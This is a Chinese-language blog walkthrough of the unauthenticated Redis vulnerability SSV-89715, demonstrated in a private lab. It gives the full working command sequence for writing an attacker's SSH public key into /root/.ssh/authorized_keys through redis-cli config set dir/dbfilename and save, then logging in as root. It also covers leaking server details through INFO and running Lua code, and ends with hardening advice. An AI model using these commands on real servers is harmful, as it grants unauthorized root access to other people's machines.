標籤:redis漏洞
參考連結:https://www.sebug.net/vuldb/ssvid-89715
攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法,可以成功將自己的公開金鑰寫入目標伺服器的 /root/.ssh 檔案夾的authotrized_keys 檔案中,進而可以直接登入目標伺服器。
環境:
KaLi:192.168.2.162
CentOS:192.168.2.32
CentOS部署了redis資料庫
步驟:
1.在Kali上產生金鑰組:
命令:ssh-keygen -t rsa
650) this.width=650;" src="http://s5.51cto.com/wyfs02/M02/8B/40/wKiom1hH1zyR1TVBAABsu7V44gY919.png" title="產生秘鑰對.png" style="float:none;" alt="wKiom1hH1zyR1TVBAABsu7V44gY919.png" />
2.將公開金鑰寫入 hack.txt 檔案
命令:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > hack.txt
650) this.width=650;" src="http://s1.51cto.com/wyfs02/M01/8B/40/wKiom1hH1z3RyiuwAACFeO4CPFk294.png" title="寫公開金鑰.png" style="float:none;" alt="wKiom1hH1z3RyiuwAACFeO4CPFk294.png" />
3.連結redis資料庫,寫入檔案:
命令:
$ cat hack.txt | redis-cli -h 192.168.2.32 -x set crackit
$ redis-cli -h 192.168.2.32
$ 192.168.2.32:6379> config set dir /root/.ssh/
OK
$ 192.168.2.32:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.2.32:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.2.32:6379> save
OK
650) this.width=650;" src="http://s1.51cto.com/wyfs02/M01/8B/3D/wKioL1hH1z3A7JnKAABaE-uQnxc844.png" title="寫入未按.png" style="float:none;" alt="wKioL1hH1z3A7JnKAABaE-uQnxc844.png" />
4.現在查看下 192.168.2.32 裝置的/root/.ssh/authorized.keys檔案,已經寫進去了:
650) this.width=650;" src="http://s3.51cto.com/wyfs02/M01/8B/40/wKiom1hH1zzAOZvQAABph2srF7s969.png" title="authori.png" style="float:none;" alt="wKiom1hH1zzAOZvQAABph2srF7s969.png" />
5.使用Kali上產生的私密金鑰連結CentOS裝置
命令:ssh -i id_rsa [email protected]
650) this.width=650;" src="http://s5.51cto.com/wyfs02/M01/8B/3D/wKioL1hH1zygaVBUAACVuRGmeRs798.png" title="登入.png" style="float:none;" alt="wKioL1hH1zygaVBUAACVuRGmeRs798.png" />
6.登入成功。
7.敏感資訊泄露:
通過redis的info命令。可查看伺服器的相關參數和敏感資訊,
650) this.width=650;" src="http://s1.51cto.com/wyfs02/M00/8B/3D/wKioL1hH1zuC3qOHAARW2Z0GxK0499.png" title="447223464728.png" style="float:none;" alt="wKioL1hH1zuC3qOHAARW2Z0GxK0499.png" />
8.代碼執行
redis可以嵌套lua指令碼的特性將會導致代碼執行,危害通其他伺服器端的代碼執行,
650) this.width=650;" src="http://s1.51cto.com/wyfs02/M00/8B/3D/wKioL1hH1zmzlhjrAAEzLH8wERk945.png" title="447223424307.png" style="float:none;" alt="wKioL1hH1zmzlhjrAAEzLH8wERk945.png" />
一旦攻擊者可以在服務端執行任意代碼,攻擊方式講話會變得多且複雜。
通過lua代碼攻擊這可以調用redis.sha1hex()函數,惡意利用redis服務進行 SHA-1 的破解。
解決方案:
配置bind選項, 限定可以串連Redis伺服器的IP, 並修改redis的預設連接埠6379.
配置AUTH, 設定密碼, 密碼會以明文方式儲存在redis設定檔中.
配置rename-command CONFIG "RENAME_CONFIG", 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好訊息是Redis作者表示將會開發”real user”,區分普通使用者和admin許可權,普通使用者將會被禁止運行某些命令,如config
本文出自 “Mask_X 部落格” 部落格,請務必保留此出處http://zhpfbk.blog.51cto.com/4757027/1880418
Redis 未授權訪問缺陷可輕易導致系統被黑【SSV-89715】